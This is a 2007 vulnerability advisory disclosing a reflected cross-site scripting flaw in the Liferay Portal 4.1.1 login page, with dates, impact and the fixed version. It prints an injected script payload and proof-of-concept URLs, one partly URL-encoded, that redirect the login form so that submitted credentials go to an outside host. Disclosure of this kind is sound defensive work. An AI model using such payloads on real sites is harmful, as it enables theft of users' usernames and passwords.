XSS on Liferay Portal Enterprise 4.1.1 login page ('login' parameter)

Vulnerability found:
06 March 2007


Vendor informed:
26 June 2007


Severity level:
Medium/High


Credits:
Adrian Pastor [adrian.pastor [at] procheckup.com] from ProCheckUp Ltd (www.procheckup.com) ProCheckUp thanks Liferay for fixing this vulnerability so promptly.


Description:
Liferay Portal login page is vulnerable to Cross-Site Scripting within the "login" field processed by the "/c/portal/login" server-side script.

Consequences

An attacker may be able to cause the execution of malicious script code in the browser of a user who visits a specially-crafted Liferay Portal URL,
or visits a page that submits a request to such URL. Such code would run within the security context of the target domain.
This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information
(i.e.: usernames and passwords) to unauthorised third parties.
What's (partially) returned by the server
<input class="form-text" name="login" style="width: 150px;" type="text" value=""><script>document.fm1.action="http://procheckup.com"</script><a b="c">
Note: the victim user does not need to be authenticated for this vulnerability to be exploitable.
Injected payload
"><script>document.fm1.action="http://procheckup.com"</script><a b="c

Successfully tested on

Liferay-Portal: Liferay Portal Enterprise 4.1.1 (Cowper / Build 3101 / August 14, 2006)
(other versions of Liferay Portal might also be affected)


Proof of concept:
The provided XSS PoC URLs overwrite Liferay Portal login form's 'action' attribute. Thus, when the victim user clicks on the "Sign In" button, the credentials (username/password) are sent to a third-party site (procheckup.com in this case).
http://target.tld/c/portal/login?login=%22%3E%3Cscript%3Edocument.fm1.action=%22http://


procheckup.com%22%3C/script%3E%3Ca%20b=%22c http://target.tld/c/portal/login?login=%22%3E%3Cscript%3Edocument.fm1.action=%22http%

3a%2f%2f%70roch%65cku%70%2e%63om%22%3C/script%3E%3Ca%20b=%22c


How to fix:
The issue was fixed a while back, but re-surfaced in 4.1.0 and 4.1.1.

This issue has been fixed on version 4.1.3 and onwards.


References:
http://www.liferay.com/%20


Legal:
Copyright 2007 ProCheckUp Ltd.
All rights reserved. Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if the Bulletin is not changed or edited in any way, is attributed to ProCheckUp indicating this web page URL, and provided such reproduction and/or distribution is performed for non-commercial purposes.
Any other use of this information is prohibited.
ProCheckUp is not liable for any misuse of this information by any third party. ProCheckUp is not responsible for the content of external Internet sites.